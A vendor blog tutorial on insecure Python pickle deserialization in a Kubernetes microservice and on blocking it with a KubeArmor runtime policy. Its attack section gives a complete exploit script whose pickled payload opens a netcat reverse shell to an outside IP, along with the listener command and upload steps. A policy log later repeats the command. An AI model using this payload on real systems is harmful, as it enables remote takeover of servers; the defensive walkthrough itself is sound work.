How to Protect Python micro-services using Accuknox?

Introduction:

Today's complex systems are highly distributed. Since components communicate with each other and share information (such as shifting data between services, storing information, etc.), the native binary format is not ideal. We use serialization to transform this binary data into a string (ASCII characters) so that it can be moved using standard protocols.

Serialization operations are extremely frequent in architectures that include APIs, microservices and client-side MVC. When the data under serialization and de-serialization are reliable (under the control of the system), there is no risk.

Oftentimes, developers tend to import third-party libraries that are relatively easy to use. Doing so, they unknowingly introduce vulnerabilities through these shared third-party libraries and modules. In this blog, we're going to have a closer look at Insecure Deserialization.

Insecure deserialization is a type of vulnerability that occurs when an attacker is able to manipulate the serialized object and result in an unintended consequences in the program's flow. This may lead to a DoS, authentication bypass, or even an RCE.

Let's take a look at a python microservice with some insecure modules.  We will also discuss how to protect (at run-time) against such vulnerabilities using Accuknox and KubeArmor.

The Microservice:

Let's create a microservice for online file uploads. We will define an API for them and write the Python code which implements them in the form of microservices.

To keep things manageable, we’ll define only two microservices:

  1. Pickle-app – the main program which takes in the uploaded files as input and stores them in a mysql database.
  2. Mysql – the storage part for pickle-app

You can see that the user will interact with the pickle-app microservice via their browser, and the pickle-app microservice will interact with the MySQL microservice.

We will deploy the application on a Kubernetes cluster and onboard the cluster to Accuknox. For detailed steps on how to onboard your cluster kindly go through our help section.

The full code for the microservice can be found on this GitHub repo

Initiating the Attack:

By using Burpsuite as initial recon, we were able to determine that it is running on a python server and the API name gave away that it uses the pickle module.

We’ll make use of the pickle module and write a python exploit that lets us create a reverse shell onto the pod.

Create a python file and name it exploit.py and then we'll create our class RCE and let its __reduce__ method return a tuple of arguments for the callable object.

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 34.125.245.75 4444 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
   pickled = pickle.dumps(RCE())
   with open('parrot.pkl', 'wb') as f:
      pickle.dump(RCE(), f)
   print(base64.urlsafe_b64encode(pickled))

Our callable will be os.system and the argument will be a common reverse shell snippet using a named pipe. Let's create a .pkl file and upload it to the application via UI.

python3 exploit.py
b'gASVHQAAAAAAAACMBXBvc...'

We will use nc -lnvp 4444 command to listen to incoming connection on port 4444

We’ll go to http://34.123.162.173/upload_pickle and upload the exploit file parrot.pkl which we created earlier.

The moment we upload the parrot.pkl file we will get a reverse shell opened on the listener machine.

Defending against the Attack:

We know that the pickle module lets us serialize and deserialize data. Essentially, this means that we can convert a Python object into a stream of bytes and then reconstruct it (including the object’s internal structure) later in a different process or environment by loading that stream of bytes.

The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”). […] When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in the following order:

A callable object that will be called to create the initial version of the object.

A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument. […]

The ideal scenario would be to choose a different (safer) serialization method altogether (like JSON), as per the docs. Due to the ease of use and to limit the downtown we can apply a patch via Accuknox. So let’s talk about how Accuknox can help defend against this attack.

Disabling the vulnerability with Accuknox:

KubeArmor, an open-source software that enables you to protect your cloud workload at run-time.

The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime.  Malicious activity can be any activity that the workload was not designed for or is not supposed to do.

Given a policy, KubeArmor can restrict the following types of behaviour on your cloud workloads:

  • File access - allow/deny specific paths
  • Allow / deny Process execution / forking
  • Allow / Deny Establish network connections
  • Allow / Deny workloads to request other capabilities with the host os. Such capabilities can enable additional types of malicious behaviour.

We were able to block RCE  by enforcing a simple policy via KubeArmor, the policy is as follows:

# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit: 
# https://www.accuknox.com/kubearmor/ 

apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
  name: ksp-cve-2019-6446-deny-pickle-rce-on-pod
  namespace: default # Change your namespace
spec:
  tags: ["PICKLE", "RCE", "EDB-ID-49585", "CVE-2019-6446"]
  message: "Execution of binary files blocked"
  selector:
    matchLabels:
      app: pickle-app #change app: pickle-app to match your label
  process:
    severity: 8
    matchDirectories:
    - dir: /usr/bin/
      recursive: true
    - dir: /bin/ 
      recursive: true
    - dir: /usr/local/bin/ 
      recursive: true
    action: Block

The Policy: In-action:

Go to Accuknox  and create a policy

We’ll go to http://34.123.162.173/upload_pickle and upload the exploit file parrot.pkl which we created earlier.

This time we’ll get a success message file upload successfully without a reverse shell opened on the listener machine.

You can simply take advantage of our open-source GitHub inventory, and apply policy directly from there:

kubectl apply -f https://raw.githubusercontent.com/vishnusomank/policy-templates/CVE-2019-6446/cve/system/ksp-cve-2019-6446-deny-pickle-rce-on-pod.py

Checking the policy logs on KubeArmor:

To check how to do it, kindly go through our help section

{
  "timestamp": 1638223573,
  "updatedTime": "2021-11-29T22:06:13.493285Z",
  "hostName": "gke-cys-poc-default-pool-3be49535-k4cp",
  "namespaceName": "default",
  "podName": "pickle-app-6d8c67b4f6-fk2qs",
  "containerID": "9e57f01622b423e04bb2071d54f95dca2044a3f8467e897c5b696307a6080be7",
  "containerName": "pickle-app",
  "hostPid": 1158108,
  "ppid": 370,
  "pid": 371,
  "uid": 0,
  "policyName": "ksp-cve-2019-6446-deny-pickle-rce-on-pod",
  "severity": "8",
  "tags": "PICKLE,RCE,EDB-ID-49585,CVE-2019-6446",
  "message": "Execution of binary files blocked",
  "type": "MatchedPolicy",
  "source": "python3",
  "operation": "Process",
  "resource": "/bin/sh -c rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 34.125.245.75 4444 > /tmp/f",
  "data": "syscall=SYS_EXECVE",
  "action": "Block",
  "result": "Permission denied"
}

Accuknox's policy templates repository

Accuknox's policy templates is an open-source repo that also contains a wide range of attack prevention techniques including MITRE, as well as hardening techniques for your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium  to download and apply policy templates.

Conclusion

Insecure deserialization is very difficult to identify while conducting security tests. Insecure deserialization can be prevented by going through the source code for the vulnerable code base and by input validation and output sanitization. Insecure deserialization in conjunction with a Remote Code Execution (RCE) will undoubtedly compromise the entire infrastructure.

Using KubeArmor, an organization can effectively protect against these sorts of accidental developer-introduced vulnerabilities.

Subscribe to Accuknox Docs

Don’t miss out on the latest issues. Sign up now to get access to the library of members-only issues.
[email protected]
Subscribe